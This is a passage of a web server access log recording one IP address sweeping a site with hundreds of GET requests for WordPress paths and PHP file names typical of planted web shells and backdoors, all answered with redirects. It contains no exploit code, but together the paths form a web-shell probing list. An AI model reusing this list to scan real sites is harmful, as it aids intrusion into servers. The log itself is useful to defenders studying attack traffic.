[24/Apr/2025:02:46:41 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:42 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:44 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:45 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:46 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:46 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:48 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:52 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:54 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:56 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:57 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:58 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:46:59 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:01 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:03 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:06 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:09 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:13 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:16 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:19 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:20 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:22 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:24 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:25 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:27 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:29 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:30 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:31 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:32 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:32 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:33 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:34 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:35 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:37 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:38 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:38 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:39 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:40 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:41 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:42 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:43 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:44 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:45 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:46 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:48 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:49 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:50 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:51 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:52 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:53 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:55 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:56 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:57 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:47:58 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:00 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:01 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:01 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:02 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:03 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:04 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:05 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:07 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:08 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:10 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:11 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:12 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:13 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:15 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:16 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:16 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:17 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:18 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:19 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:20 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:21 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:22 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:23 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:24 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:26 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:30 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:32 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:34 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:39 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:40 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:41 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:42 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:43 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:44 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:45 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:46 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:47 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:48 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:49 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:50 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:51 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:52 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:53 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:54 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:55 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:56 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:57 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:58 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:48:59 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:00 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:01 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:01 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:02 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:04 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:05 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:07 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:07 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:08 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:09 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:11 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:12 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:12 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:13 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:14 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:15 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:16 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:17 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:17 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:18 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:19 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:19 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:20 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:21 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:22 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:22 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:23 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:24 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:25 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:26 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:26 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:27 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:28 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:29 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:29 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:30 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:31 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:32 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:33 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:34 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:35 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:36 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:37 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:37 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:38 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:39 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:40 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:41 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:42 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:42 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:43 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:44 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:44 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:45 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:46 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:47 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:47 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:49 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:49 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:51 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:52 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:53 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:55 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:55 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:56 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:57 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:49:58 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:00 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:01 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:03 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:07 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:09 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:11 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:12 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:14 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:17 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:19 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:20 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:21 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:22 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:24 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:25 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:26 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:27 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:28 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:30 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:31 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:32 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:33 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:34 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:35 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:36 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:38 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:39 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:40 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:41 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:43 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:45 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:47 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:49 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:51 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:52 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:53 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:54 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:56 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:56 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:57 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:58 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:50:59 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:01 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:02 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:04 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:06 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:07 -0400] "GET 